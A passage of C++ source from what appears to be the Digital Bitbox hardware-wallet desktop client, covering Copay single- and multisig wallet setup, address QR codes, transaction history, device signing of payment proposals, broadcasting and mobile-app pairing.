if (tag == DBB_RESPONSE_TYPE_XPUB_GET_ADDRESS) {
getAddressDialog->updateAddress(response);
}
if (tag == DBB_RESPONSE_TYPE_PASSWORD) {
UniValue passwordObj = find_value(response, "password");
if (status != DBB_CMD_EXECUTION_STATUS_OK || (passwordObj.isStr() && passwordObj.get_str() == "success")) {
sessionPasswordDuringChangeProcess.clear();
cleanseLoginAndSetPassword(); //remove text from set password fields
//could not decrypt, password was changed successfully
setDeviceName(tempNewDeviceName, DBB_RESPONSE_TYPE_SET_DEVICE_NAME_CREATE);
tempNewDeviceName = "";
} else {
QString errorString;
UniValue touchbuttonObj = find_value(response, "touchbutton");
if (!touchbuttonObj.isNull() && touchbuttonObj.isObject()) {
UniValue errorObj = find_value(touchbuttonObj, "error");
if (!errorObj.isNull() && errorObj.isStr())
errorString = QString::fromStdString(errorObj.get_str());
}
//reset password in case of an error
sessionPassword = <PASSWORD>;
sessionPasswordDuringChangeProcess.clear();
if (!errorShown)
{
//: translation: error text during password set (DBB)
showAlert(tr("Password Error"), tr("Could not set password (error: %1)!").arg(errorString));
errorShown = true;
}
}
}
}
else {
DBB::LogPrint("Parsing was invalid JSON\n", "");
}
}
/*
/////////////////
copay single- and multisig wallet stack
/////////////////
*/
#pragma mark copay single- and multisig wallet stack
void DBBDaemonGui::createSingleWallet()
{
if (!singleWallet->client.IsSeeded()) {
getXPubKeyForCopay(0);
} else {
SingleWalletUpdateWallets();
}
}
void DBBDaemonGui::getNewAddress()
{
if (singleWallet->client.IsSeeded()) {
DBBNetThread* thread = DBBNetThread::DetachThread();
thread->currentThread = std::thread([this, thread]() {
std::string walletsResponse;
std::string address;
std::string keypath;
std::string error;
singleWallet->client.GetNewAddress(address, keypath, error);
if (address.size())
{
singleWallet->rewriteKeypath(keypath);
emit walletAddressIsAvailable(this->singleWallet, address, keypath);
}
else
{
emit shouldShowAlert("Error", (error.size() > 1) ? QString::fromStdString(error) : tr("Could not get a new receiving address."));
setNetLoading(false);
}
thread->completed();
});
setNetLoading(true);
}
}
void DBBDaemonGui::verifyAddress()
{
getXPub(ui->keypathLabel->text().toStdString(), DBB_RESPONSE_TYPE_XPUB_VERIFY, DBB_ADDRESS_STYLE_P2PKH);
}
void DBBDaemonGui::getXPub(const std::string& keypath, dbb_response_type_t response_type, dbb_address_style_t address_type)
{
executeCommandWrapper("{\"xpub\":\"" + keypath + "\"}", DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this,response_type,address_type](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, response_type, address_type);
});
}
void DBBDaemonGui::updateReceivingAddress(DBBWallet *wallet, const std::string &newAddress, const std::string &info)
{
setNetLoading(false);
this->ui->currentAddress->setText(QString::fromStdString(newAddress));
if (newAddress.size() <= 0)
return;
std::string uri = "bitcoin:"+newAddress;
QRcode *code = QRcode_encodeString(uri.c_str(), 0, QR_ECLEVEL_M, QR_MODE_8, 1);
if (code)
{
QImage myImage = QImage(code->width + 8, code->width + 8, QImage::Format_RGB32);
myImage.fill(0xffffff);
unsigned char *p = code->data;
for (int y = 0; y < code->width; y++)
{
for (int x = 0; x < code->width; x++)
{
myImage.setPixel(x + 4, y + 4, ((*p & 1) ? 0x0 : 0xffffff));
p++;
}
}
QRcode_free(code);
QIcon qrCode;
QPixmap pixMap = QPixmap::fromImage(myImage).scaled(240, 240);
qrCode.addPixmap(pixMap, QIcon::Normal);
qrCode.addPixmap(pixMap, QIcon::Disabled);
ui->qrCode->setIcon(qrCode);
}
ui->qrCode->setToolTip(QString::fromStdString(info));
ui->keypathLabel->setText(QString::fromStdString(info));
}
void DBBDaemonGui::createTxProposalPressed()
{
if (!singleWallet->client.IsSeeded())
return;
int64_t amount = 0;
if (this->ui->sendAmount->text().size() == 0 || !DBB::ParseMoney(this->ui->sendAmount->text().toStdString(), amount))
return showAlert("Error", "Invalid amount");
if (cachedDeviceLock && !comServer->mobileAppConnected)
return showAlert("Error", "2FA enabled but no mobile app found online");
this->ui->sendToAddress->clearFocus();
this->ui->sendAmount->clearFocus();
DBBNetThread* thread = DBBNetThread::DetachThread();
thread->currentThread = std::thread([this, thread, amount]() {
UniValue proposalOut;
std::string errorOut;
int64_t fee = singleWallet->client.GetFeeForPriority(this->ui->feeLevel->currentIndex());
if (fee == 0) {
emit changeNetLoading(false);
emit shouldHideModalInfo();
emit shouldShowAlert("Error", tr("Could not estimate fees. Make sure you are online."));
} else {
if (!singleWallet->client.CreatePaymentProposal(this->ui->sendToAddress->text().toStdString(), amount, fee, proposalOut, errorOut)) {
emit changeNetLoading(false);
emit shouldHideModalInfo();
emit shouldShowAlert("Error", QString::fromStdString(errorOut));
}
else
{
emit changeNetLoading(false);
emit shouldUpdateModalInfo(tr("Start Signing Process"));
emit createTxProposalDone(singleWallet, "", proposalOut);
}
}
thread->completed();
});
setNetLoading(true);
showModalInfo(tr("Creating Transaction"));
}
void DBBDaemonGui::reportPaymentProposalPost(DBBWallet* wallet, const UniValue& proposal)
{
showModalInfo(tr("Transaction was sent successfully"), DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON);
this->ui->sendToAddress->clear();
this->ui->sendAmount->clear();
}
void DBBDaemonGui::joinCopayWalletClicked()
{
if (!vMultisigWallets[0]->client.IsSeeded()) {
//if there is no xpub and request key, seed over DBB
getXPubKeyForCopay(1);
} else {
//send a join request
joinMultisigWalletInitiate(vMultisigWallets[0]);
}
}
void DBBDaemonGui::joinMultisigWalletInitiate(DBBWallet* wallet)
{
bool ok;
QString text = QInputDialog::getText(this, tr("Join Copay Wallet"), tr("Wallet Invitation Code"), QLineEdit::Normal, "", &ok);
if (!ok || text.isEmpty())
return;
// parse invitation code
BitpayWalletInvitation invitation;
if (!wallet->client.ParseWalletInvitation(text.toStdString(), invitation)) {
showAlert(tr("Invalid Invitation"), tr("Your Copay wallet invitation is invalid"));
return;
}
std::string result;
bool ret = wallet->client.JoinWallet(wallet->participationName, invitation, result);
if (!ret) {
UniValue responseJSON;
std::string additionalErrorText = "unknown";
if (responseJSON.read(result)) {
UniValue errorText;
errorText = find_value(responseJSON, "message");
if (!errorText.isNull() && errorText.isStr())
additionalErrorText = errorText.get_str();
}
showAlert(tr("Copay Wallet Response"), tr("Joining the wallet failed (%1)").arg(QString::fromStdString(additionalErrorText)));
} else {
QMessageBox::information(this, tr("Copay Wallet Response"), tr("Successfully joined Copay wallet"), QMessageBox::Ok);
wallet->client.walletJoined = true;
wallet->client.SaveLocalData();
MultisigUpdateWallets();
}
}
void DBBDaemonGui::getXPubKeyForCopay(int walletIndex)
{
DBBWallet* wallet = vMultisigWallets[0];
if (walletIndex == 0)
wallet = singleWallet;
std::string baseKeyPath = wallet->baseKeypath();
executeCommandWrapper("{\"xpub\":\"" + baseKeyPath + "\"}", DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this, walletIndex](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
//TODO: fix hack
if (walletIndex == 0)
{
// small UI delay that people can read "Creating Wallet" modal screen
std::this_thread::sleep_for(std::chrono::milliseconds(350));
}
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_XPUB_MS_MASTER, walletIndex);
});
}
void DBBDaemonGui::getRequestXPubKeyForCopay(int walletIndex)
{
DBBWallet* wallet = vMultisigWallets[0];
if (walletIndex == 0)
wallet = singleWallet;
std::string baseKeyPath = wallet->baseKeypath();
//try to get the xpub for seeding the request private key (ugly workaround)
//we cannot export private keys from a hardware wallet
executeCommandWrapper("{\"xpub\":\"" + baseKeyPath + "/1'/0\"}", DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this, walletIndex](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_XPUB_MS_REQUEST, walletIndex);
});
}
void DBBDaemonGui::joinCopayWallet(int walletIndex)
{
DBBWallet* wallet = vMultisigWallets[0];
if (walletIndex == 0)
wallet = singleWallet;
if (walletIndex == 0) {
DBBNetThread* thread = DBBNetThread::DetachThread();
thread->currentThread = std::thread([this, thread, wallet]() {
DBB::LogPrint("Creating Copay wallet...\n", "");
//single wallet, create wallet first
{
std::unique_lock<std::recursive_mutex> lock(this->cs_walletObjects);
wallet->client.CreateWallet(wallet->participationName);
}
emit joinCopayWalletDone(wallet);
thread->completed();
});
} else {
//check if already joined a MS wallet. if not, try to join.
MultisigUpdateWallets(true);
}
}
void DBBDaemonGui::joinCopayWalletComplete(DBBWallet *wallet)
{
DBB::LogPrint("Copay wallet joined successfully, loading address..\n", "");
getNewAddress();
updateWallet(wallet);
hideModalInfo();
if (walletUpdateTimer && !walletUpdateTimer->isActive())
walletUpdateTimer->start(WALLET_POLL_TIME);
}
void DBBDaemonGui::hidePaymentProposalsWidget()
{
if (currentPaymentProposalWidget) {
currentPaymentProposalWidget->hide();
delete currentPaymentProposalWidget;
currentPaymentProposalWidget = NULL;
}
}
void DBBDaemonGui::updateWallet(DBBWallet* wallet)
{
if (wallet == singleWallet) {
SingleWalletUpdateWallets();
} else
MultisigUpdateWallets();
}
void DBBDaemonGui::updateUIStateMultisigWallets(bool joined)
{
this->ui->joinCopayWallet->setVisible(!joined);
this->ui->checkProposals->setVisible(joined);
this->ui->multisigWalletName->setVisible(joined);
this->ui->multisigBalanceKey->setVisible(joined);
this->ui->multisigBalance->setVisible(joined);
this->ui->multisigLine->setVisible(joined);
this->ui->proposalsLabel->setVisible(joined);
if (!joined)
this->ui->noProposalsAvailable->setVisible(false);
}
void DBBDaemonGui::MultisigUpdateWallets(bool initialJoin)
{
DBBWallet* wallet = vMultisigWallets[0];
updateUIStateMultisigWallets(wallet->client.walletJoined);
if (!wallet->client.IsSeeded())
return;
multisigWalletIsUpdating = true;
executeNetUpdateWallet(wallet, true, [wallet, initialJoin, this](bool walletsAvailable, const std::string& walletsResponse) {
emit getWalletsResponseAvailable(wallet, walletsAvailable, walletsResponse, initialJoin);
});
}
void DBBDaemonGui::SingleWalletUpdateWallets(bool showLoading)
{
if (singleWallet->updatingWallet)
{
if (showLoading) {
setNetLoading(true);
}
singleWallet->shouldUpdateWalletAgain = true;
return;
}
if (!singleWallet->client.IsSeeded())
return;
if (this->ui->balanceLabel->text() == "?") {
this->ui->balanceLabel->setText("Loading...");
this->ui->singleWalletBalance->setText("Loading...");
this->ui->currentAddress->setText("Loading...");
}
singleWalletIsUpdating = true;
executeNetUpdateWallet(singleWallet, showLoading, [this](bool walletsAvailable, const std::string& walletsResponse) {
emit getWalletsResponseAvailable(this->singleWallet, walletsAvailable, walletsResponse);
});
}
void DBBDaemonGui::updateUIMultisigWallets(const UniValue& walletResponse)
{
vMultisigWallets[0]->updateData(walletResponse);
if (vMultisigWallets[0]->currentPaymentProposals.isArray()) {
this->ui->proposalsLabel->setText(tr("Current Payment Proposals (%1)").arg(vMultisigWallets[0]->currentPaymentProposals.size()));
}
this->ui->noProposalsAvailable->setVisible(!vMultisigWallets[0]->currentPaymentProposals.size());
//TODO, add a monetary amount / unit helper function
QString balance = "-";
if (vMultisigWallets[0]->totalBalance >= 0)
balance = QString::fromStdString(DBB::formatMoney(vMultisigWallets[0]->totalBalance));
this->ui->multisigBalance->setText("<strong>" + balance + "</strong>");
//TODO, Copay encrypts the wallet name. Decrypt it and display the name.
// Decryption: use the first 16 bytes of sha256(shared_priv_key) as the AES-CCM key;
// the encrypted name is in a JSON string conforming to the SJCL library format, see:
// https://bitwiseshiftleft.github.io/sjcl/demo/
//this->ui->multisigWalletName->setText("<strong>Name:</strong> " + QString::fromStdString(vMultisigWallets[0]->walletRemoteName));
updateUIStateMultisigWallets(vMultisigWallets[0]->client.walletJoined);
}
void DBBDaemonGui::updateUISingleWallet(const UniValue& walletResponse)
{
singleWallet->updateData(walletResponse);
//TODO, add a monetary amount / unit helper function
QString balance = "";
if (singleWallet->totalBalance >= 0)
balance = QString::fromStdString(DBB::formatMoney(singleWallet->totalBalance));
this->ui->balanceLabel->setText(balance);
this->ui->singleWalletBalance->setText(balance);
UniValue addressesUV = find_value(walletResponse["balance"], "byAddress");
if (addressesUV.isArray()) {
for (int i = 0; i < addressesUV.size(); i++) {
UniValue address = find_value(addressesUV[i], "address");
if (address.get_str() == this->ui->currentAddress->text().toStdString())
getNewAddress();
}
}
}
void DBBDaemonGui::historyShowTx(QModelIndex index)
{
QString txId = ui->tableWidget->model()->data(ui->tableWidget->model()->index(index.row(),0)).toString();
QDesktopServices::openUrl(QUrl("https://" + QString(DBB_USE_TESTNET ? "testnet." : "") + "blockexplorer.com/tx/"+txId));
}
void DBBDaemonGui::updateTransactionTable(DBBWallet *wallet, bool historyAvailable, const UniValue &history)
{
ui->tableWidget->setModel(NULL);
this->ui->loadinghistory->setVisible(false);
this->ui->tableWidget->setVisible(true);
if (!historyAvailable || !history.isArray())
return;
transactionTableModel = new QStandardItemModel(history.size(), 4, this);
transactionTableModel->setHeaderData(0, Qt::Horizontal, QObject::tr("TXID"));
transactionTableModel->setHeaderData(1, Qt::Horizontal, QObject::tr("Amount"));
transactionTableModel->setHeaderData(2, Qt::Horizontal, QObject::tr("Address"));
transactionTableModel->setHeaderData(3, Qt::Horizontal, QObject::tr("Date"));
int cnt = 0;
for (const UniValue &obj : history.getValues())
{
QFont font;
font.setPointSize(12);
UniValue actionUV = find_value(obj, "action");
UniValue amountUV = find_value(obj, "amount");
if (amountUV.isNum())
{
QString iconName;
if (actionUV.isStr())
iconName = ":/icons/tx_" + QString::fromStdString(actionUV.get_str());
QStandardItem *item = new QStandardItem(QIcon(iconName), QString::fromStdString(DBB::formatMoney(amountUV.get_int64())));
item->setToolTip(tr("Double-click for more details"));
item->setFont(font);
item->setTextAlignment(Qt::AlignRight | Qt::AlignVCenter);
transactionTableModel->setItem(cnt, 1, item);
}
UniValue addressUV = find_value(obj["outputs"][0], "address");
if (addressUV.isStr())
{
QStandardItem *item = new QStandardItem(QString::fromStdString(addressUV.get_str()));
item->setToolTip(tr("Double-click for more details"));
item->setFont(font);
item->setTextAlignment(Qt::AlignCenter);
transactionTableModel->setItem(cnt, 2, item);
}
UniValue timeUV = find_value(obj, "time");
UniValue confirmsUV = find_value(obj, "confirmations");
if (timeUV.isNum())
{
QString iconName;
QString tooltip;
if (confirmsUV.isNum())
{
tooltip = QString::number(confirmsUV.get_int());
if (confirmsUV.get_int() > 5)
iconName = ":/icons/confirm6";
else
iconName = ":/icons/confirm" + QString::number(confirmsUV.get_int());
} else {
tooltip = "0";
iconName = ":/icons/confirm0";
}
QDateTime timestamp;
timestamp.setTime_t(timeUV.get_int64());
QStandardItem *item = new QStandardItem(QIcon(iconName), timestamp.toString(Qt::SystemLocaleShortDate));
item->setToolTip(tooltip + tr(" confirmations"));
item->setTextAlignment(Qt::AlignCenter);
item->setFont(font);
transactionTableModel->setItem(cnt, 3, item);
}
UniValue txidUV = find_value(obj, "txid");
if (txidUV.isStr())
{
QStandardItem *item = new QStandardItem(QString::fromStdString(txidUV.get_str()) );
transactionTableModel->setItem(cnt, 0, item);
}
cnt++;
}
ui->tableWidget->setModel(transactionTableModel);
ui->tableWidget->setColumnHidden(0, true);
if (cnt) {
ui->tableWidget->horizontalHeader()->setStretchLastSection(false);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(1, QHeaderView::ResizeToContents);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(2, QHeaderView::Stretch);
ui->tableWidget->horizontalHeader()->setSectionResizeMode(3, QHeaderView::ResizeToContents);
} else {
ui->tableWidget->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);
}
}
void DBBDaemonGui::executeNetUpdateWallet(DBBWallet* wallet, bool showLoading, std::function<void(bool, std::string&)> cmdFinished)
{
DBB::LogPrint("Updating copay wallet\n", "");
DBBNetThread* thread = DBBNetThread::DetachThread();
thread->currentThread = std::thread([this, thread, wallet, cmdFinished]() {
std::string walletsResponse;
std::string feeLevelResponse;
bool walletsAvailable = false;
{
wallet->updatingWallet = true;
do
{
{
std::unique_lock<std::recursive_mutex> lock(this->cs_walletObjects);
wallet->shouldUpdateWalletAgain = false;
walletsAvailable = wallet->client.GetWallets(walletsResponse);
}
emit getWalletsResponseAvailable(wallet, walletsAvailable, walletsResponse, false);
bool isSingleWallet = false;
{
std::unique_lock<std::recursive_mutex> lock(this->cs_walletObjects);
wallet->client.GetFeeLevels();
isSingleWallet = (wallet == this->singleWallet);
}
std::string txHistoryResponse;
if (isSingleWallet) {
bool transactionHistoryAvailable = false;
{
std::unique_lock<std::recursive_mutex> lock(this->cs_walletObjects);
transactionHistoryAvailable = wallet->client.GetTransactionHistory(txHistoryResponse);
}
UniValue data;
if (transactionHistoryAvailable)
data.read(txHistoryResponse);
emit getTransactionHistoryAvailable(wallet, transactionHistoryAvailable, data);
}
}while(wallet->shouldUpdateWalletAgain);
wallet->updatingWallet = false;
}
cmdFinished(walletsAvailable, walletsResponse);
thread->completed();
});
if (showLoading)
setNetLoading(true);
}
void DBBDaemonGui::parseWalletsResponse(DBBWallet* wallet, bool walletsAvailable, const std::string& walletsResponse, bool initialJoin)
{
setNetLoading(false);
if (wallet == singleWallet)
singleWalletIsUpdating = false;
else
multisigWalletIsUpdating = false;
netLoaded = false;
UniValue response;
if (response.read(walletsResponse) && response.isObject()) {
DBB::LogPrint("Got update wallet response...\n", "");
netLoaded = true;
if (wallet == singleWallet)
updateUISingleWallet(response);
else {
updateUIMultisigWallets(response);
MultisigUpdatePaymentProposals(response);
if (initialJoin && !wallet->client.walletJoined)
joinMultisigWalletInitiate(wallet);
}
}
else if (walletsResponse.size() > 5) {
if (!response.isObject())
{
int maxlen = 20;
if (walletsResponse.size() < 20) {
maxlen = walletsResponse.size();
}
DBB::LogPrint("Got invalid response, maybe a invalid proxy response (%s)\n", DBB::SanitizeString(walletsResponse.substr(0, maxlen)).c_str());
emit shouldShowAlert("Error", tr("Invalid response. Are you connected to the internet? Please check your proxy settings."));
}
}
else {
if (!netLoaded) {
netErrCount++;
if (netErrCount > 2) {
DBB::LogPrint("Got no response or timeout, are you connected to the internet or using an invalid proxy?\n");
emit shouldShowAlert("Error", tr("No response or timeout. Are you connected to the internet?"));
netErrCount = 0;
}
}
}
}
bool DBBDaemonGui::MultisigUpdatePaymentProposals(const UniValue& response)
{
bool ret = false;
int copayerIndex = INT_MAX;
UniValue pendingTxps;
pendingTxps = find_value(response, "pendingTxps");
if (!pendingTxps.isNull() && pendingTxps.isArray()) {
std::unique_lock<std::recursive_mutex> lock(this->cs_walletObjects);
vMultisigWallets[0]->currentPaymentProposals = pendingTxps;
std::vector<UniValue> values = pendingTxps.getValues();
DBB::LogPrint("Got pending multisig txps (%d)\n", values.size());
if (values.size() == 0) {
hidePaymentProposalsWidget();
return false;
}
size_t cnt = 0;
for (const UniValue& oneProposal : values) {
QString amount;
QString toAddress;
UniValue toAddressUni = find_value(oneProposal, "toAddress");
UniValue amountUni = find_value(oneProposal, "amount");
UniValue actions = find_value(oneProposal, "actions");
bool skipProposal = false;
if (actions.isArray()) {
for (const UniValue& oneAction : actions.getValues()) {
UniValue copayerId = find_value(oneAction, "copayerId");
UniValue actionType = find_value(oneAction, "type");
if (!copayerId.isStr() || !actionType.isStr())
continue;
if (vMultisigWallets[0]->client.GetCopayerId() == copayerId.get_str() && actionType.get_str() == "accept") {
skipProposal = true;
break;
}
}
}
UniValue isUni = find_value(oneProposal, "id");
if (isUni.isStr())
MultisigShowPaymentProposal(pendingTxps, isUni.get_str());
return true;
} //end proposal loop
}
return ret;
}
bool DBBDaemonGui::MultisigShowPaymentProposal(const UniValue& pendingTxps, const std::string& targetID)
{
if (pendingTxps.isArray()) {
std::vector<UniValue> values = pendingTxps.getValues();
if (values.size() == 0) {
hidePaymentProposalsWidget();
return false;
}
size_t cnt = 0;
for (const UniValue& oneProposal : values) {
UniValue idUni = find_value(oneProposal, "id");
if (!idUni.isStr() || idUni.get_str() != targetID) {
cnt++;
continue;
}
std::string prevProposalID;
std::string nextProposalID;
if (cnt > 0) {
UniValue idUni = find_value(values[cnt - 1], "id");
if (idUni.isStr())
prevProposalID = idUni.get_str();
}
if (cnt < values.size() - 1) {
UniValue idUni = find_value(values[cnt + 1], "id");
if (idUni.isStr())
nextProposalID = idUni.get_str();
}
if (!currentPaymentProposalWidget) {
currentPaymentProposalWidget = new PaymentProposal(this->ui->copay);
connect(currentPaymentProposalWidget, SIGNAL(processProposal(DBBWallet*, const QString&, const UniValue&, int)), this, SLOT(PaymentProposalAction(DBBWallet*, const QString&, const UniValue&, int)));
connect(currentPaymentProposalWidget, SIGNAL(shouldDisplayProposal(const UniValue&, const std::string&)), this, SLOT(MultisigShowPaymentProposal(const UniValue&, const std::string&)));
}
currentPaymentProposalWidget->move(15, 115);
currentPaymentProposalWidget->show();
currentPaymentProposalWidget->SetData(vMultisigWallets[0], vMultisigWallets[0]->client.GetCopayerId(), pendingTxps, oneProposal, prevProposalID, nextProposalID);
cnt++;
}
}
return true;
}
void DBBDaemonGui::PaymentProposalAction(DBBWallet* wallet, const QString &tfaCode, const UniValue& paymentProposal, int actionType)
{
if (!paymentProposal.isObject())
return;
std::unique_lock<std::recursive_mutex> lock(this->cs_walletObjects);
if (actionType == ProposalActionTypeReject) {
wallet->client.RejectTxProposal(paymentProposal);
MultisigUpdateWallets();
return;
} else if (actionType == ProposalActionTypeDelete) {
wallet->client.DeleteTxProposal(paymentProposal);
MultisigUpdateWallets();
return;
}
std::vector<std::pair<std::string, std::vector<unsigned char> > > inputHashesAndPaths;
std::string serTx;
UniValue changeAddressData;
wallet->client.ParseTxProposal(paymentProposal, changeAddressData, serTx, inputHashesAndPaths);
// strip out already signed hashes
// make a mutable copy of the sighash/keypath vector
auto inputHashesAndPathsCopy = inputHashesAndPaths;
auto it = inputHashesAndPathsCopy.begin();
int amountOfCalls = ceil((double)inputHashesAndPaths.size()/(double)MAX_INPUTS_PER_SIGN);
while(it != inputHashesAndPathsCopy.end()) {
std::string hexHash = DBB::HexStr((unsigned char*)&it->second[0], (unsigned char*)&it->second[0] + 32);
if(wallet->mapHashSig.count(hexHash)) {
// we already have this hash, remove it from the mutable copy
it = inputHashesAndPathsCopy.erase(it);
}
else ++it;
}
// make sure the vector does not exceede the max hashes per sign commands
if (inputHashesAndPathsCopy.size() > MAX_INPUTS_PER_SIGN)
inputHashesAndPathsCopy.resize(MAX_INPUTS_PER_SIGN);
//build sign command
std::string hashCmd;
for (const std::pair<std::string, std::vector<unsigned char> >& hashAndPathPair : inputHashesAndPathsCopy) {
std::string hexHash = DBB::HexStr((unsigned char*)&hashAndPathPair.second[0], (unsigned char*)&hashAndPathPair.second[0] + 32);
hashCmd += "{ \"hash\" : \"" + hexHash + "\", \"keypath\" : \"" + wallet->baseKeypath() + "/" + hashAndPathPair.first + "\" }, ";
}
hashCmd.pop_back();
hashCmd.pop_back(); // remove ", "
//build checkpubkeys
UniValue checkpubObj = UniValue(UniValue::VARR);
if (changeAddressData.isObject())
{
UniValue keypath = find_value(changeAddressData, "path");
UniValue publicKeys = find_value(changeAddressData, "publicKeys");
if (publicKeys.isArray())
{
for (const UniValue& pkey : publicKeys.getValues())
{
if (pkey.isStr())
{
UniValue obj = UniValue(UniValue::VOBJ);
obj.pushKV("pubkey", pkey.get_str());
if (keypath.isStr())
obj.pushKV("keypath", wallet->baseKeypath() + "/" + keypath.get_str().substr(2));
checkpubObj.push_back(obj);
}
}
}
}
std::string twoFaPart = "";
if (!tfaCode.isEmpty())
twoFaPart = "\"pin\" : \""+tfaCode.toStdString()+"\", ";
uint8_t serTxHash[32];
btc_hash((const uint8_t*)&serTx[0], serTx.size(), serTxHash);
std::string serTxHashHex = DBB::HexStr(serTxHash, serTxHash+32);
std::string command = "{\"sign\": { "+twoFaPart+"\"type\": \"meta\", \"meta\" : \""+serTxHashHex+"\", \"data\" : [ " + hashCmd + " ], \"checkpub\" : "+checkpubObj.write()+" } }";
bool ret = false;
DBB::LogPrint("Request signing...\n", "");
executeCommandWrapper(command, DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [wallet, &ret, actionType, paymentProposal, inputHashesAndPaths, inputHashesAndPathsCopy, serTx, tfaCode, this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
//send a signal to the main thread
processCommand = false;
setLoading(false);
UniValue jsonOut(UniValue::VOBJ);
jsonOut.read(cmdOut);
UniValue echoStr = find_value(jsonOut, "echo");
if (!echoStr.isNull() && echoStr.isStr()) {
UniValue jsonOutMutable = jsonOut;
jsonOutMutable.pushKV("tx", serTx);
emit shouldVerifySigning(wallet, paymentProposal, actionType, jsonOutMutable.write());
} else {
UniValue errorObj = find_value(jsonOut, "error");
if (errorObj.isObject()) {
//error found
UniValue errorMessageObj = find_value(errorObj, "message");
if (errorMessageObj.isStr())
{
wallet->mapHashSig.clear();
DBB::LogPrint("Error while signing (%s)\n", errorMessageObj.get_str().c_str());
emit shouldShowAlert("Error", QString::fromStdString(errorMessageObj.get_str()));
}
emit shouldHideModalInfo();
emit shouldHideVerificationInfo();
}
else
{
UniValue signObject = find_value(jsonOut, "sign");
if (signObject.isArray()) {
std::vector<UniValue> vSignatureObjects;
vSignatureObjects = signObject.getValues();
if (vSignatureObjects.size() > 0) {
std::vector<std::string> sigs;
int sigCount = 0;
for (const UniValue& oneSig : vSignatureObjects) {
UniValue sigObject = find_value(oneSig, "sig");
if (sigObject.isNull() || !sigObject.isStr()) {
wallet->mapHashSig.clear();
DBB::LogPrint("Invalid signature from device\n", "");
emit shouldShowAlert("Error", tr("Invalid signature from device"));
return;
}
int pos = 0;
std::string hexHashOfSig = DBB::HexStr((unsigned char*)&inputHashesAndPathsCopy[sigCount].second[0], (unsigned char*)&inputHashesAndPathsCopy[sigCount].second[0] + 32);
for (const std::pair<std::string, std::vector<unsigned char> >& hashAndPathPair : inputHashesAndPaths) {
std::string hexHash = DBB::HexStr((unsigned char*)&hashAndPathPair.second[0], (unsigned char*)&hashAndPathPair.second[0] + 32);
if (hexHashOfSig == hexHash) {
break;
}
pos++;
}
wallet->mapHashSig[hexHashOfSig] = std::make_pair(pos, sigObject.get_str());
sigCount++;
}
if (wallet->mapHashSig.size() < inputHashesAndPaths.size())
{
// we don't have all inputs signatures
// need another signing round:
emit createTxProposalDone(wallet, tfaCode, paymentProposal);
}
else {
// create the exact order signature array
std::vector<std::string> sigs;
int pos = 0;
for (const std::pair<std::string, std::vector<unsigned char> >& hashAndPathPair : inputHashesAndPaths) {
std::string hexHash = DBB::HexStr((unsigned char*)&hashAndPathPair.second[0], (unsigned char*)&hashAndPathPair.second[0] + 32);
if (wallet->mapHashSig[hexHash].first != pos) {
wallet->mapHashSig.clear();
DBB::LogPrint("Invalid position of inputs/signatures\n", "");
emit shouldShowAlert("Error", tr("Invalid position of inputs/signatures"));
return;
}
sigs.push_back(wallet->mapHashSig[hexHash].second);
pos++;
}
emit shouldHideVerificationInfo();
emit signedProposalAvailable(wallet, paymentProposal, sigs);
wallet->mapHashSig.clear();
ret = true;
}
}
}
}
}
});
}
void DBBDaemonGui::postSignaturesForPaymentProposal(DBBWallet* wallet, const UniValue& proposal, const std::vector<std::string>& vSigs)
{
DBBNetThread* thread = DBBNetThread::DetachThread();
thread->currentThread = std::thread([this, thread, wallet, proposal, vSigs]() {
//thread->currentThread = ;
if (!wallet->client.PostSignaturesForTxProposal(proposal, vSigs))
{
DBB::LogPrint("Error posting txp signatures\n", "");
emit shouldHideModalInfo();
emit shouldHideVerificationInfo();
emit shouldShowAlert("Error", tr("Could not post signatures"));
}
else
{
if (!wallet->client.BroadcastProposal(proposal))
{
DBB::LogPrint("Error broadcasting transaction\n", "");
//hack: sleep and try again
std::this_thread::sleep_for(std::chrono::milliseconds(3000));
if (!wallet->client.BroadcastProposal(proposal))
{
emit shouldHideModalInfo();
DBB::LogPrint("Error broadcasting transaction\n", "");
emit shouldShowAlert("Error", tr("Could not broadcast transaction"));
}
}
else
{
//sleep 3 seconds to get time for the wallet server to process the transaction and response with the correct balance
std::this_thread::sleep_for(std::chrono::milliseconds(3000));
emit shouldUpdateWallet(wallet);
emit paymentProposalUpdated(wallet, proposal);
}
}
thread->completed();
});
DBB::LogPrint("Broadcast Transaction\n", "");
showModalInfo(tr("Broadcast Transaction"));
setNetLoading(true);
}
#pragma mark - Smart Verification Stack (ECDH / ComServer)
void DBBDaemonGui::sendECDHPairingRequest(const std::string &ecdhRequest)
{
if (!deviceReadyToInteract)
return;
DBB::LogPrint("Paring request\n", "");
executeCommandWrapper("{\"verifypass\": "+ecdhRequest+"}", DBB_PROCESS_INFOLAYER_STYLE_NO_INFO, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_VERIFYPASS_ECDH);
});
showModalInfo("Pairing Verification Device");
}
void DBBDaemonGui::comServerMessageParse(const QString& msg)
{
// pass in a push message from the communication server
// will be called on main thread
// FIXME: only send a ECDH request if the messages is a ECDH p-req.
UniValue json;
json.read(msg.toStdString());
//check the type of the notification
UniValue possiblePINObject = find_value(json, "pin");
UniValue possibleECDHObject = find_value(json, "ecdh");
UniValue possibleIDObject = find_value(json, "id");
UniValue possibleRandomObject = find_value(json, "random");
UniValue possibleActionObject = find_value(json, "action");
if (possiblePINObject.isStr())
{
//feed the modal view with the 2FA code
QString pinCode = QString::fromStdString(possiblePINObject.get_str());
if (pinCode == "abort")
pinCode.clear();
ui->modalBlockerView->proceedFrom2FAToSigning(pinCode);
}
else if (possibleECDHObject.isStr())
{
